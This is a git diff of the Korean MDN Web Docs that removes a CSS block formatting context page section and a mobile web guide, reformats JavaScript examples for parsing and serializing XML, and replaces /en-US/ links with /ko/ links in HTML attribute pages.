-- 스스로 플렉스, 그리드, 테이블 컨테이너가 아닌 경우의 플렉스 항목({{cssxref("display")}}가 `flex` 또는 `inline-flex`인 요소의 바로 아래 자식)
-- 스스로 플렉스, 그리드, 테이블 컨테이너가 아닌 경우의 그리드 항목({{cssxref("display")}}가 `grid` 또는 `inline-grid`인 요소의 바로 아래 자식)
-- 다열 컨테이너({{cssxref("column-count")}} 또는 ({{cssxref("column-width")}}가 `auto`가 아닌 경우. `column-count: 1` 포함).
-- {{cssxref("column-span")}}이 `all`인 경우. 해당하는 요소가 다열 컨테이너 안에 위치하지 않아도 항상 새로운 블록 서식 맥락을 생성해야 합니다. ([명세 변경](https://github.com/w3c/csswg-drafts/commit/a8634b96900279916bd6c505fda88dda71d8ec51), [Chrome 버그](https://bugs.chromium.org/p/chromium/issues/detail?id=709362))
-
-블록 서식 맥락은 레이아웃에 영향을 주지만, 보통 맥락을 생성하는 요소는 아래와 같은 작용을 하기 때문에 위치 설정과 플로팅 해제를 위해 더 많이 사용합니다.
-
-- 내부 플로팅 가두기
-- 외부 플로팅 제외하기
-- [여백 상쇄](/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing) 제거
-
-## 예제
-
-### 내부 플로팅 가두기
-
-Make float content and alongside content the same height.
-
-Let's have a look at a couple of these in order to see the effect creating a new BFC.
-
-In the following example, we have a floated element inside a `<div>` with a `border` applied. The content of that `<div>` has floated alongside the floated element. As the content of the float is taller than the content alongside it, the border of the `<div>` now runs through the float. As explained in the [guide to in-flow and out of flow elements](/ko/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow), the float has been taken out of flow so the `background` and `border` of the `<div>` only contain the content and not the float.
-
-**using `overflow: auto`**
-
-Setting `overflow: auto` or set other values than the initial value of `overflow: visible` created a new BFC containing the float. Our `<div>` now becomes a mini-layout inside our layout. Any child element will be contained inside it.
-
-The problem with using `overflow` to create a new BFC is that the `overflow` property is meant for telling the browser how you want to deal with overflowing content. There are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a BFC. In addition, it is potentially not readable for a future developer, as it might not be obvious why you used `overflow` for this purpose. If you use `overflow`, it is a good idea to comment the code to explain.
-
-**using `display: flow-root`**
-
-A newer value of `display` lets us create a new BFC without any other potentially problematic side-effects. Using `display: flow-root` on the containing block creates a new BFC .
-
-With `display: flow-root;` on the `<div>`, everything inside that container participates in the block formatting context of that container, and floats will not poke out of the bottom of the element.
-
-The value name of `flow-root` makes sense when you understand you are creating something that acts like the `root` element (`<html>` element in browser) in terms of how it creates a new context for the flow layout inside it.
-
-#### HTML
-
-```html
-<section>
-    <div class="box">
-        <div class="float">I am a floated box!</div>
-        <p>I am content inside the container.</p>
-    </div>
-</section>
-<section>
-    <div class="box" style="overflow:auto">
-        <div class="float">I am a floated box!</div>
-        <p>I am content inside the <code>overflow:auto</code> container.</p>
-    </div>
-</section>
-<section>
-    <div class="box" style="display:flow-root">
-        <div class="float">I am a floated box!</div>
-        <p>I am content inside the <code>display:flow-root</code> container.</p>
-    </div>
-</section>
-```
-
-#### CSS
-
-```css
-section {
-    height:150px;
-}
-.box {
-    background-color: rgb(224, 206, 247);
-    border: 5px solid rebeccapurple;
-}
-.box[style] {
-    background-color: aliceblue;
-    border: 5px solid steelblue;
-}
-.float {
-    float: left;
-    width: 200px;
-    height: 100px;
-    background-color: rgba(255, 255, 255, .5);
-    border:1px solid black;
-    padding: 10px;
-}
-```
-
-{{EmbedLiveSample("example1", 200, 450)}}
-
-### Exclude external floats
-
-In the following example, we are using `display:flow-root` and floats to implement double columns layout, beacuse an element in the normal flow that establishes a new BFC must not overlap the margin box of any floats in the same block formatting context as the element itself.
-
-#### HTML
-
-```html
-<section>
-  <div class="float">Try to resize this outer float</div>
-  <div class="box"><p>Normal</p></div>
-</section>
-<section>
-  <div class="float">Try to resize this outer float</div>
-  <div class="box" style="display:flow-root"><p><code>display:flow-root</code><p></div>
-</section>
-```
-
-#### CSS
-
-```css
-section {
-    height:150px;
-}
-.box {
-    background-color: rgb(224, 206, 247);
-    border: 5px solid rebeccapurple;
-}
-.box[style] {
-    background-color: aliceblue;
-    border: 5px solid steelblue;
-}
-.float {
-    float: left;
-    overflow: hidden; /* required by resize:both */
-    resize: both;
-    margin-right:25px;
-    width: 200px;
-    height: 100px;
-    background-color: rgba(255, 255, 255, .75);
-    border: 1px solid black;
-    padding: 10px;
-}
-```
-
-{{EmbedLiveSample("example2", 200, 300)}}
-
-Rather than inline-blocks with width:\<percentage>, in this case we don't have to specify the width of the right div.
-
-Note that flexbox is a more efficient way to implement muti columns layout in morden CSS.
-
-### 여백 상쇄
-
-Creating a new BFC to avoid the [margin collapsing](/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing) between two neighbor div:
-
-#### HTML
-
-```html
-<div class="blue"></div>
-<div class="red-outer">
-  <div class="red-inner">red inner</div>
-</div>
-```
-
-#### CSS
-
-```css
-.blue, .red-inner {
-  height: 50px;
-  margin: 10px 0;
-}
-
-.blue {
-  background: blue;
-}
-
-.red-outer {
-  overflow: hidden;
-  background: red;
-}
-```
-
-{{EmbedLiveSample("여백_상쇄", 120, 120)}}
-
-## 같이 보기
-
-- {{ cssxref("float") }}, {{ cssxref("clear") }}
diff --git a/files/ko/web/guide/mobile/index.md b/files/ko/web/guide/mobile/index.md
deleted file mode 100644
index 6e0caed2fb0e93..00000000000000
--- a/files/ko/web/guide/mobile/index.md
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: Mobile Web Development
-slug: Web/Guide/Mobile
----
-이 페이지에는 모바일 기기에서도 잘 작동하는 웹 사이트를 디자인하기 위한 몇 가지의 방법과 노하우가 담겨 있습니다. Mozilla Firefox OS 프로젝트에 대한 정보를 찾고 계신다면, [Firefox OS](/en/Mozilla/Firefox_OS) 페이지를 참고하세요. 아니면 [Firefox for Android](/en/Mozilla/Firefox_for_Android)에 대한 자세한 정보를 찾아보실 수도 있습니다.
-
-We've organized it into two sections, [designing for mobile devices](#Designing_for_mobile_devices) and [cross-browser compatibility](#Cross-browser_development). Also see Jason Grlicky's guide to [mobile-friendliness](/ko/docs/Web_Development/Mobile/Mobile-friendliness) for web developers.
-
-## 모바일 기기를 위한 디자인
-
-Mobile devices have quite different hardware characteristics compared with desktop or laptop computers. Their screens are usually smaller, obviously, but they also usually automatically switch the screen orientation between portrait and landscape mode as the user rotates the device. They usually have touch screens for user input. APIs like geolocation or orientation are either not supported on desktops or are much less useful, and these APIs give mobile users new ways to interact with your site.
-
-### 작은 화면에 대응하기
-
-[Responsive Web Design](/ko/docs/Web/Guide/Responsive_design) is a term for a set of techniques that enables your web site to adapt its layout as its viewing environment — most obviously, the size and orientation of the screen — changes. It includes techniques such as:
-
-- fluid CSS layouts, to make the page adapt smoothly as the browser window size changes
-- the use of [media queries](/en/CSS/Media_queries) to conditionally include CSS rules appropriate for the device screen [width](/en/CSS/Media_queries#width) and [height](/en/CSS/Media_queries#height)
-
-The [viewport meta tag](/en/Mobile/Viewport_meta_tag) instructs the browser to display your site at the appropriate scale for the user's device.
-
-### 터치 스크린에 대응하기
-
-터치 스크린을 사용하려면 당신은 [DOM 터치 이벤트](/en/DOM/Touch_events)에 대해서 배워야 합니다. You won't be able to use the [CSS :hover](/ko/docs/CSS/:hover) pseudo-class, and will need to design clickable items like buttons to respect the fact that fingers are fatter than mouse pointers. See this article on [designing for touch screens](https://web.archive.org/web/20150520130912/http://www.whatcreative.co.uk/blog/tips/designing-for-touch-screen/).
-
-[-moz-touch-enabled](/en/CSS/Media_queries#-moz-touch-enabled) 미디어 쿼리를 이용해 터치를 사용할 수 있는 기기에서 다른 CSS 파일을 불러들일 수도 있습니다.
-
-### 이미지 최적화하기
-
-네트워크 속도가 느리거나 비용이 비싼 기기를 사용하는 사용자들을 위해, 디바이스 화면 크기와 해상도에 맞게 최적화된 이미지를 불러들이게 할 수 있습니다. You do this in CSS by querying for screen [height](/en/CSS/Media_queries#height), [width](/en/CSS/Media_queries#width), and [pixel ratio](/en/CSS/Media_queries#-moz-device-pixel-ratio).
-
-You can also make use of CSS properties to implement visual effects like [gradients](/ko/docs/CSS/Using_CSS_gradients) and [shadows](/ko/docs/CSS/Box-shadow) without images.
-
-### 모바일 API
-
-Finally, you can take advantage of the new possibilities offered by mobile devices, such as [orientation](/en/Detecting_device_orientation) and [geolocation](/ko/docs/Using_geolocation).
-
-## 크로스 브라우저 개발
-
-### 크로스 브라우저 코드 작성하기
-
-다양한 모바일 브라우저에서 잘 작동하는 웹 사이트를 만들기 위해서는 다음 내용을 알아두셔야 합니다. :
-
-- 벤더별 접두어(vendor-prefix)가 사용된 CSS 프로퍼티 등 특정 브라우저에서만 작동하는 기능 사용을 배제할 것.
-- 그러한 특정 기능을 사용해야 하는 경우, 다른 브라우저에서도 그러한 기능이 구현되어 있는지 확인할 것. 그러한 기능이 있다면, 그 브라우저에 대한 지원도 목표로 할 것.
-- 다른 브라우저에서 그러한 특정 기능이 지원되지 않는다면, 그런 브라우저들을 위해 납득 가능한 대체재(fallback)를 만들어 둘 것.
-
-For example, if you set a gradient as a background for some text using a vendor-prefixed property like `-webkit-linear-gradient`, it's best to include the other vendor-prefixed versions of the [linear-gradient](/en/CSS/linear-gradient) property. If you don't do that, at least make sure that the default background contrasts with the text: that way, the page will at least be usable in a browser which is not targeted by your `linear-gradient` rule.
-
-See this [list of Gecko-specific properties](/en/CSS/CSS_Reference/Mozilla_Extensions), and this list of [WebKit-specific properties](/en/CSS/CSS_Reference/Webkit_Extensions), and Peter Beverloo's [table of vendor-specific properties](http://peter.sh/experiments/vendor-prefixed-css-property-overview/).
-
-Using tools like [CSS Lint](http://csslint.net/) can help find problems like this in code, and preprocessors like [SASS](http://sass-lang.com/) and [LESS](http://lesscss.org/) can help you to produce cross-browser code.
-
-### Take care with user agent sniffing
-
-It's preferable for web sites to detect specific device features such as screen size and touch screens using the techniques listed above, and adapt themselves accordingly. But sometimes this is impractical, and web sites resort to parsing the browser's user agent string to try to distinguish between desktops, tablets, and phones, to serve different content to each type of device.
-
-If you do this, make sure your algorithm is correct, and you aren't serving the wrong type of content to a device because you don't understand a particular browser's user agent string. See this [guide to using the user agent string to determine device type](/en/Browser_detection_using_the_user_agent#Mobile.2C_Tablet_or_Desktop).
-
-### 다양한 브라우저에서 테스트하기
-
-Test your web site on multiple browsers. This means testing on multiple platforms — at least iOS and Android.
-
-- test mobile Safari on the iPhone using the [iOS simulator](https://developer.apple.com/devcenter/ios/index.action)
-- test Opera and Firefox using the [Android SDK](https://developer.android.com/sdk/index.html). See these additional instructions for [running Firefox for Android using the Android emulator](https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator).
diff --git a/files/ko/web/guide/parsing_and_serializing_xml/index.md b/files/ko/web/guide/parsing_and_serializing_xml/index.md
index 7c1132a87f79fe..5b3244d6f448e7 100644
--- a/files/ko/web/guide/parsing_and_serializing_xml/index.md
+++ b/files/ko/web/guide/parsing_and_serializing_xml/index.md
@@ -22,7 +22,11 @@ var sMyString = '<a id="a"><b id="b">hey!</b></a>';
 var oParser = new DOMParser();
 var oDOM = oParser.parseFromString(sMyString, "text/xml");
 // 루트 요소의 이름, 또는 에러 메시지를 출력합니다.
-dump(oDOM.documentElement.nodeName == "parsererror" ? "error while parsing" : oDOM.documentElement.nodeName);
+dump(
+  oDOM.documentElement.nodeName == "parsererror"
+    ? "error while parsing"
+    : oDOM.documentElement.nodeName,
+);
 ```
 
 ### 자바스크립트 객체 트리를 시작점으로 하여 XML 문서를 생성(JXON)
@@ -37,12 +41,12 @@ dump(oDOM.documentElement.nodeName == "parsererror" ? "error while parsing" : oD
 
 ```js
 var xhr = new XMLHttpRequest();
-xhr.onload = function() {
+xhr.onload = function () {
   dump(xhr.responseXML.documentElement.nodeName);
-}
-xhr.onerror = function() {
+};
+xhr.onerror = function () {
   dump("Error while getting XML.");
-}
+};
 xhr.open("GET", "example.xml");
 xhr.responseType = "document";
 xhr.send();
@@ -68,8 +72,9 @@ var sXML = oSerializer.serializeToString(doc);
 `new XMLSerializer()` 생성자는 JS XPCOM 컴포넌트(혹은 [JS module](/en/JavaScript_code_modules)) 내에서는 사용이 불가능합니다. 대신, 다음과 같은 코드를 작성하세요.
 
 ```js
-var oSerializer = Components.classes["@mozilla.org/xmlextras/xmlserializer;1"]
-                            .createInstance(Components.interfaces.nsIDOMSerializer);
+var oSerializer = Components.classes[
+  "@mozilla.org/xmlextras/xmlserializer;1"
+].createInstance(Components.interfaces.nsIDOMSerializer);
 var sXML = oSerializer.serializeToString(doc);
 ```
 
@@ -107,13 +112,17 @@ var sPrettyXML = XML(oSerializer.serializeToString(doc)).toXMLString();
 이제 DOM 트리인 `doc`를 파일로 직렬화 해봅시다. 파일에 대해 더 알아보고 싶다면, [모질라에서 파일 사용과 관련하여](/en/Code_snippets/File_I//O)를 참조하세요.
 
 ```js
-var oFOStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
-var oFile = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsILocalFile); // get profile folder
+var oFOStream = Components.classes[
+  "@mozilla.org/network/file-output-stream;1"
+].createInstance(Components.interfaces.nsIFileOutputStream);
+var oFile = Components.classes["@mozilla.org/file/directory_service;1"]
+  .getService(Components.interfaces.nsIProperties)
+  .get("ProfD", Components.interfaces.nsILocalFile); // get profile folder
 oFile.append("extensions"); // extensions sub-directory
 oFile.append("{5872365E-67D1-4AFD-9480-FD293BEBD20D}"); // GUID of your extension
 oFile.append("myXMLFile.xml"); // filename
 oFOStream.init(oFile, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate
-(new XMLSerializer()).serializeToStream(doc, oFOStream, ""); // rememeber, doc is the DOM tree
+new XMLSerializer().serializeToStream(doc, oFOStream, ""); // rememeber, doc is the DOM tree
 oFOStream.close();
 ```
 
diff --git a/files/ko/web/html/attributes/crossorigin/index.md b/files/ko/web/html/attributes/crossorigin/index.md
index 930944c5c9ab88..cf98f0121c0dfc 100644
--- a/files/ko/web/html/attributes/crossorigin/index.md
+++ b/files/ko/web/html/attributes/crossorigin/index.md
@@ -48,4 +48,4 @@ Media element의 `crossorigin` 속성은 CORS 세팅입니다.
 - [Cross-Origin Resource Sharing (CORS)](/ko/docs/Web/HTTP/CORS)
 - [HTML attribute: `rel`](/ko/docs/Web/HTML/Attributes/rel)
 
-{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}
+{{QuickLinksWithSubpages("/ko/docs/Web/HTML/")}}
diff --git a/files/ko/web/html/attributes/index.md b/files/ko/web/html/attributes/index.md
index b2741d753b467f..ebbe1d4923b7d6 100644
--- a/files/ko/web/html/attributes/index.md
+++ b/files/ko/web/html/attributes/index.md
@@ -59,7 +59,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     </tr>
     <tr>
       <td>
-        <code><a href="/en-US/docs/Web/HTML/Attributes/allow">allow</a></code>
+        <code><a href="/ko/docs/Web/HTML/Attributes/allow">allow</a></code>
       </td>
       <td>{{ HTMLElement("iframe") }}</td>
       <td>Specifies a feature-policy for the iframe.</td>
@@ -179,7 +179,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/capture">capture</a></code
+          ><a href="/ko/docs/Web/HTML/Attributes/capture">capture</a></code
         >
       </td>
       <td>{{ HTMLElement("input") }}</td>
@@ -312,7 +312,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/CORS_settings_attributes"
+          ><a href="/ko/docs/Web/HTML/CORS_settings_attributes"
             >crossorigin</a
           ></code
         >
@@ -356,7 +356,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/decoding">decoding</a></code
+          ><a href="/ko/docs/Web/HTML/Attributes/decoding">decoding</a></code
         >
       </td>
       <td>{{ HTMLElement("img") }}</td>
@@ -437,7 +437,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/enterkeyhint"
+          ><a href="/ko/docs/Web/HTML/Attributes/enterkeyhint"
             >enterkeyhint</a
           ></code
         >
@@ -445,7 +445,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
       </td>
       <td>
         {{ HTMLElement("textarea") }},
-        <a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable"
+        <a href="/ko/docs/Web/HTML/Global_attributes/contenteditable"
           ><code>contenteditable</code></a
         >
       </td>
@@ -500,7 +500,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/formenctype"
+          ><a href="/ko/docs/Web/HTML/Attributes/formenctype"
             >formenctype</a
           ></code
         >
@@ -514,13 +514,13 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
         this attribute sets the encoding type to use during form submission. If
         this attribute is specified, it overrides the
         <code>enctype</code> attribute of the button's
-        <a href="/en-US/docs/Web/HTML/Element/form">form</a> owner.
+        <a href="/ko/docs/Web/HTML/Element/form">form</a> owner.
       </td>
     </tr>
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/formmethod"
+          ><a href="/ko/docs/Web/HTML/Attributes/formmethod"
             >formmethod</a
           ></code
         >
@@ -534,13 +534,13 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
         this attribute sets the submission method to use during form submission
         (<code>GET</code>, <code>POST</code>, etc.). If this attribute is
         specified, it overrides the <code>method</code> attribute of the
-        button's <a href="/en-US/docs/Web/HTML/Element/form">form</a> owner.
+        button's <a href="/ko/docs/Web/HTML/Element/form">form</a> owner.
       </td>
     </tr>
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/formnovalidate"
+          ><a href="/ko/docs/Web/HTML/Attributes/formnovalidate"
             >formnovalidate</a
           ></code
         >
@@ -554,13 +554,13 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
         this boolean attribute specifies that the form is not to be validated
         when it is submitted. If this attribute is specified, it overrides the
         <code>novalidate</code> attribute of the button's
-        <a href="/en-US/docs/Web/HTML/Element/form">form</a> owner.
+        <a href="/ko/docs/Web/HTML/Element/form">form</a> owner.
       </td>
     </tr>
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/formtarget"
+          ><a href="/ko/docs/Web/HTML/Attributes/formtarget"
             >formtarget</a
           ></code
         >
@@ -575,7 +575,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
         or inline frame) in which to display the response that is received after
         submitting the form. If this attribute is specified, it overrides the
         <code>target</code> attribute of the button's
-        <a href="/en-US/docs/Web/HTML/Element/form">form</a> owner.
+        <a href="/ko/docs/Web/HTML/Element/form">form</a> owner.
       </td>
     </tr>
     <tr>
@@ -664,7 +664,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/importance"
+          ><a href="/ko/docs/Web/HTML/Attributes/importance"
             >importance</a
           ></code
         >
@@ -679,7 +679,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/Security/Subresource_Integrity"
+          ><a href="/ko/docs/Web/Security/Subresource_Integrity"
             >integrity</a
           ></code
         >
@@ -689,7 +689,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
       </td>
       <td>
         Specifies a
-        <a href="/en-US/docs/Web/Security/Subresource_Integrity"
+        <a href="/ko/docs/Web/Security/Subresource_Integrity"
           >Subresource Integrity</a
         >
         value that allows browsers to verify what they fetch.
@@ -697,7 +697,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     </tr>
     <tr>
       <td>
-        <a href="/en-US/docs/Web/HTML/Element/img#attr-intrinsicsize"
+        <a href="/ko/docs/Web/HTML/Element/img#attr-intrinsicsize"
           ><code>intrinsicsize</code></a
         >
         {{deprecated_inline}}
@@ -705,18 +705,18 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
       <td>{{ HTMLElement("img") }}</td>
       <td>
         This attribute tells the browser to ignore the actual intrinsic size of
-        the image and pretend it’s the size specified in the attribute.
+        the image and pretend it's the size specified in the attribute.
       </td>
     </tr>
     <tr>
       <td>
-        <a href="/en-US/docs/Web/HTML/Global_attributes/inputmode"
+        <a href="/ko/docs/Web/HTML/Global_attributes/inputmode"
           ><code>inputmode</code></a
         >
       </td>
       <td>
         {{ HTMLElement("textarea") }},
-        <a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable"
+        <a href="/ko/docs/Web/HTML/Global_attributes/contenteditable"
           ><code>contenteditable</code></a
         >
       </td>
@@ -781,7 +781,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     </tr>
     <tr>
       <td>
-        <code><a href="/en-US/docs/Web/HTML/Attributes/list">list</a></code>
+        <code><a href="/ko/docs/Web/HTML/Attributes/list">list</a></code>
       </td>
       <td>{{ HTMLElement("input") }}</td>
       <td>Identifies a list of pre-defined options to suggest to the user.</td>
@@ -826,7 +826,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/minlength"
+          ><a href="/ko/docs/Web/HTML/Attributes/minlength"
             >minlength</a
           ></code
         >
@@ -878,7 +878,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     </tr>
     <tr>
       <td>
-        <code><a href="/en-US/docs/Web/HTML/Attributes/muted">muted</a></code>
+        <code><a href="/ko/docs/Web/HTML/Attributes/muted">muted</a></code>
       </td>
       <td>
         {{ HTMLElement("audio") }},
@@ -1074,7 +1074,7 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/spellcheck"
+          ><a href="/ko/docs/Web/HTML/Attributes/spellcheck"
             >spellcheck</a
           ></code
         >
@@ -1155,14 +1155,14 @@ HTML의 요소들은 **특성**을 가지고 있습니다. 특성은 사용자
     <tr>
       <td>
         <code
-          ><a href="/en-US/docs/Web/HTML/Attributes/translate"
+          ><a href="/ko/docs/Web/HTML/Attributes/translate"
             >translate</a
           ></code
         >
       </td>
       <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
       <td>
-        Specify whether an element’s attribute values and the values of its
+        Specify whether an element's attribute values and the values of its
         <code
           ><a href="https://dom.spec.whatwg.org/#text" id="ref-for-text①⑦"
             >Text</a
diff --git a/files/ko/web/html/attributes/rel/index.md b/files/ko/web/html/attributes/rel/index.md
index 17c7b1f7e37132..aa21be615b5f5c 100644
--- a/files/ko/web/html/attributes/rel/index.md
+++ b/files/ko/web/html/attributes/rel/index.md
@@ -29,7 +29,7 @@ original_slug: Web/HTML/Link_types
             만약 요소가 {{HTMLElement("link")}}이고,
             {{htmlattrxref("rel", "link")}} 속성값에
             <code>stylesheet</code>라는 값이 들어 있다면, 링크가
-            <a href="/en-US/docs/Alternative_style_sheets">대체 스타일 시트</a
+            <a href="/ko/docs/Alternative_style_sheets">대체 스타일 시트</a
             >로 정의된 것입니다. 이 경우,
             {{htmlattrxref("title", "link")}} 속성은 반드시 존재해야
             하고 빈 문자열 값을 가지고 있으면 안됩니다.
@@ -38,7 +38,7 @@ original_slug: Web/HTML/Link_types
             만약 {{htmlattrxref("type","link")}}의 값이
             <code>application/rss+xml</code>이거나
             <code>application/atom+xml</code>로 설정되어 있다면, 링크를
-            <a href="/en-US/docs/RSS/Getting_Started/Syndicating"
+            <a href="/ko/docs/RSS/Getting_Started/Syndicating"
               >syndication feed</a
             >(기고 알림)로 정의된 것입니다. 페이지에서 정의된 것 중 첫번째 것이
             기본값입니다.
@@ -124,12 +124,12 @@ original_slug: Web/HTML/Link_types
       <td>
         <p>
           '가장 가까운 조상 {{HTMLElement("article")}} 요소에 대해
-          퍼머링크(<a href="/en-US/docs/Permalink">permalink</a>)를 제공하는
+          퍼머링크(<a href="/ko/docs/Permalink">permalink</a>)를 제공하는
           하이퍼링크임'이라고 정의하는 값입니다. 만약
           <code>article</code> 요소가 없다면, 링크 요소와 가장 가까운 관계를
           맺고 있는
           <code
-            ><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document"
+            ><a href="/ko/docs/Sections_and_Outlines_of_an_HTML5_document"
               >section</a
             ></code
           >에 대한 퍼머링크로 인식이 됩니다.
@@ -425,7 +425,7 @@ original_slug: Web/HTML/Link_types
         of the {{htmlattrxref("crossorigin", "link")}} attribute is
         taken into consideration, making it possible to make anonymous
         prefetches.<br /><br /><strong>Note:</strong> The
-        <a href="/en-US/docs/Link_prefetching_FAQ">Link Prefetch FAQ</a> has
+        <a href="/ko/docs/Link_prefetching_FAQ">Link Prefetch FAQ</a> has
         details on which links can be prefetched and on alternative methods.
       </td>
       <td>
@@ -439,7 +439,7 @@ original_slug: Web/HTML/Link_types
       <td>
         Tells the browser to download a resource because this resource will be
         needed later during the current navigation. See
-        <a href="/en-US/docs/Web/HTML/Preloading_content"
+        <a href="/ko/docs/Web/HTML/Preloading_content"
           >Preloading content with rel="preload"</a
         >
         for more details.
@@ -482,7 +482,7 @@ original_slug: Web/HTML/Link_types
         resources.<br /><br />If the {{htmlattrxref("type","link")}}
         attribute is set to
         <code>application/opensearchdescription+xml </code>the resource is an
-        <a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox"
+        <a href="/ko/docs/Creating_OpenSearch_plugins_for_Firefox"
           >OpenSearch plugin</a
         >
         that can be easily added to the interface of some browsers like Firefox
@@ -502,7 +502,7 @@ original_slug: Web/HTML/Link_types
         <code>text/css</code> stylesheet until further inspection.<br /><br />If
         used in combination with the <code>alternate</code> keyword, it defines
         an
-        <a href="/en-US/docs/Alternative_style_sheets"
+        <a href="/ko/docs/Alternative_style_sheets"
           >alternative style sheet</a
         >; in that case the {{htmlattrxref("title", "link")}}
         attribute must be present and not be the empty string.
diff --git a/files/ko/web/html/attributes/rel/preload/index.md b/files/ko/web/html/attributes/rel/preload/index.md
index 3254dc4ef1ad29..147346c239e9a1 100644
--- a/files/ko/web/html/attributes/rel/preload/index.md
+++ b/files/ko/web/html/attributes/rel/preload/index.md
@@ -52,7 +52,7 @@ original_slug: Web/HTML/Link_types/preload
 
 - 리소스의 우선순위를 더욱 정확하게 지정할 수 있습니다.
 - 캐시에 리소스를 저장하여 추후 요청에 적절하게 재사용할 수 있습니다.
-- 리소스에 대해 올바른 [콘텐츠 보안 정책](/en-US/docs/Web/HTTP/CSP)을 적용할 수 있습니다.
+- 리소스에 대해 올바른 [콘텐츠 보안 정책](/ko/docs/Web/HTTP/CSP)을 적용할 수 있습니다.
 - 리소스에 대해 올바른 {{HTTPHeader("Accept")}} 요청 헤더를 설정할 수 있습니다.
 
 ### 어떤 유형의 콘텐츠를 프리로드 할 수 있나요?
@@ -108,7 +108,7 @@ original_slug: Web/HTML/Link_types/preload
 
 ## CORS가 활성화된 fetch
 
-[CORS](/ko/docs/Web/HTTP/CORS)가 활성화한 채로 리소스를 프리로드할 때([`fetch()`](/en-US/docs/Web/API/fetch), [`XMLHttpRequest`](/ko/docs/Web/API/XMLHttpRequest), [fonts](/ko/docs/Web/CSS/@font-face) 등), {{htmlattrxref("crossorigin","link")}} 특성을 [`<link>`](/ko/docs/Web/HTML/Element/link) 요소에 지정했는지 세심하게 살펴봐야 합니다. 이 특성은 교차 출처 요청이 아닌 경우에도 해당 리소스의 CORS와 credentials 모드를 일치시키기 위해 지정해야 하는 특성입니다.
+[CORS](/ko/docs/Web/HTTP/CORS)가 활성화한 채로 리소스를 프리로드할 때([`fetch()`](/ko/docs/Web/API/fetch), [`XMLHttpRequest`](/ko/docs/Web/API/XMLHttpRequest), [fonts](/ko/docs/Web/CSS/@font-face) 등), {{htmlattrxref("crossorigin","link")}} 특성을 [`<link>`](/ko/docs/Web/HTML/Element/link) 요소에 지정했는지 세심하게 살펴봐야 합니다. 이 특성은 교차 출처 요청이 아닌 경우에도 해당 리소스의 CORS와 credentials 모드를 일치시키기 위해 지정해야 하는 특성입니다.
 
 위에서 언급된 것과 같이, 폰트 파일을 로딩하는 것이 이와 관련된 흥미로운 사례입니다. 여러 이유로 인해, 폰트 파일은 익명 모드 CORS를 통해 요청 되어야 합니다([폰트 요청 조건](https://drafts.csswg.org/css-fonts/#font-fetching-requirements)를 참고하세요).
 
@@ -133,7 +133,7 @@ original_slug: Web/HTML/Link_types/preload
 
 ## 미디어 포함하기
 
-`<link>` 요소의 한 가지 멋진 기능은 {{htmlattrxref("media", "link")}} 특성을 포함할 수 있다는 것입니다. `<link>`는 [미디어 타입](/en-US/docs/Web/CSS/@media#media_types) 혹은 완전한 [미디어 쿼리](/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)를 포함할 수 있기 때문에 반응형 프리로드를 할 수 있습니다.
